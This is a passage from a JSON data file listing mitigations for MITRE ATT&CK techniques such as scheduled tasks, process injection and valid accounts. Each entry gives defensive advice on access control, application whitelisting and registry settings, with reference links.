"https://technet.microsoft.com/en-us/library/ee791851.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] + }, + "related": [ + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64", + "value": "Service Execution Mitigation - T1035" + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1053", + "refs": [ + "https://attack.mitre.org/techniques/T1053", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://github.com/mattifestation/PowerSploit", + "https://technet.microsoft.com/library/jj852168.aspx", + "https://technet.microsoft.com/library/dn221960.aspx" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd", + "value": "Scheduled Task Mitigation - T1053" + }, + { + "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "meta": { + "external_id": "T1037", + "refs": [ + "https://attack.mitre.org/techniques/T1037", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] + }, + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "value": "Logon Scripts Mitigation - T1037" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1093", + "refs": [ + "https://attack.mitre.org/techniques/T1093", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43", + "value": "Process Hollowing Mitigation - T1093" + }, + { + "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", + "meta": { + "external_id": "T1054", + "refs": [ + "https://attack.mitre.org/techniques/T1054", + "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal" + ] + }, + "related": [ + { + "dest-uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ec42d8be-f762-4127-80f4-f079ea6d7135", + "value": "Indicator Blocking Mitigation - T1054" + }, + { + "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1045", + "refs": [ + "https://attack.mitre.org/techniques/T1045", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502", + "value": "Software Packing Mitigation - T1045" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1074", + "refs": [ + "https://attack.mitre.org/techniques/T1074", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd", + "value": "Data Staged Mitigation - T1074" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).", + "meta": { + "external_id": "T1055", + "refs": [ + "https://attack.mitre.org/techniques/T1055", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html", + "https://www.kernel.org/doc/Documentation/security/Yama.txt", + "https://selinuxproject.org/page/Main_Page", + "https://grsecurity.net/", + "http://wiki.apparmor.net/index.php/Main_Page" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7", + "value": "Process Injection Mitigation - T1055" + }, + { + "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "meta": { + "external_id": "T1056", + "refs": [ + "https://attack.mitre.org/techniques/T1056", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] + }, + "related": [ + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "da8a87d2-946d-4c34-9a30-709058b98996", + "value": "Input Capture Mitigation - T1056" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1057", + "refs": [ + "https://attack.mitre.org/techniques/T1057", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b", + "value": "Process Discovery Mitigation - T1057" + }, + { + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1087", + "refs": [ + "https://attack.mitre.org/techniques/T1087", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + ] + }, + "related": [ + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97", + "value": "Account Discovery Mitigation - T1087" + }, + { + "description": "Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)", + "meta": { + "external_id": "T1078", + "refs": [ + "https://attack.mitre.org/techniques/T1078", + "https://technet.microsoft.com/en-us/library/dn535501.aspx", + "https://technet.microsoft.com/en-us/library/dn487450.aspx", + "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + ] + }, + "related": [ + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf", + "value": "Valid Accounts Mitigation - T1078" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "meta": { + "external_id": "T1079", + "refs": [ + "https://attack.mitre.org/techniques/T1079", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec", + "value": "Multilayer Encryption Mitigation - T1079" + }, + { + "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "meta": { + "external_id": "T1098", + "refs": [ + "https://attack.mitre.org/techniques/T1098" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425", + "value": "Account Manipulation Mitigation - T1098" + }, + { + "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1112", + "refs": [ + "https://attack.mitre.org/techniques/T1112", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "value": "Modify Registry Mitigation - T1112" + }, + { + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "meta": { + "external_id": "T1131", + "refs": [ + "https://attack.mitre.org/techniques/T1131", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ] + }, + "related": [ + { + "dest-uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5", + "value": "Authentication Package Mitigation - T1131" + }, + { + "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1113", + "refs": [ + "https://attack.mitre.org/techniques/T1113", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55", + "value": "Screen Capture Mitigation - T1113" + }, + { + "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1114", + "refs": [ + "https://attack.mitre.org/techniques/T1114", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "value": "Email Collection Mitigation - T1114" + }, + { + "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for [AppleScript](https://attack.mitre.org/techniques/T1155).", + "meta": { + "external_id": "T1141", + "refs": [ + "https://attack.mitre.org/techniques/T1141" + ] + }, + "related": [ + { + "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df", + "value": "Input Prompt Mitigation - T1141" + }, + { + "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1115", + "refs": [ + "https://attack.mitre.org/techniques/T1115", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf", + "value": "Clipboard Data Mitigation - T1115" + }, + { + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.", + "meta": { + "external_id": "T1161", + "refs": [ + "https://attack.mitre.org/techniques/T1161" + ] + }, + "related": [ + { + "dest-uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604", + "value": "LC_LOAD_DYLIB Addition Mitigation - T1161" + }, + { + "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", + "meta": { + "external_id": "T1116", + "refs": [ + "https://attack.mitre.org/techniques/T1116", + "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/cc733026.aspx" + ] + }, + "related": [ + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "value": "Code Signing Mitigation - T1116" + }, + { + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1119", + "refs": [ + "https://attack.mitre.org/techniques/T1119", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152", + "value": "Automated Collection Mitigation - T1119" + }, + { + "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)", + "meta": { + "external_id": "T1221", + "refs": [ + "https://attack.mitre.org/techniques/T1221", + "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", + "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" + ] + }, + "related": [ + { + "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c7e49501-6021-414f-bfa1-94519d8ec314", + "value": "Template Injection Mitigation - T1221" + }, + { + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1123", + "refs": [ + "https://attack.mitre.org/techniques/T1123", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", + "value": "Audio Capture Mitigation - T1123" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "meta": { + "external_id": "T1132", + "refs": [ + "https://attack.mitre.org/techniques/T1132", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b", + "value": "Data Encoding Mitigation - T1132" + }, + { + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts 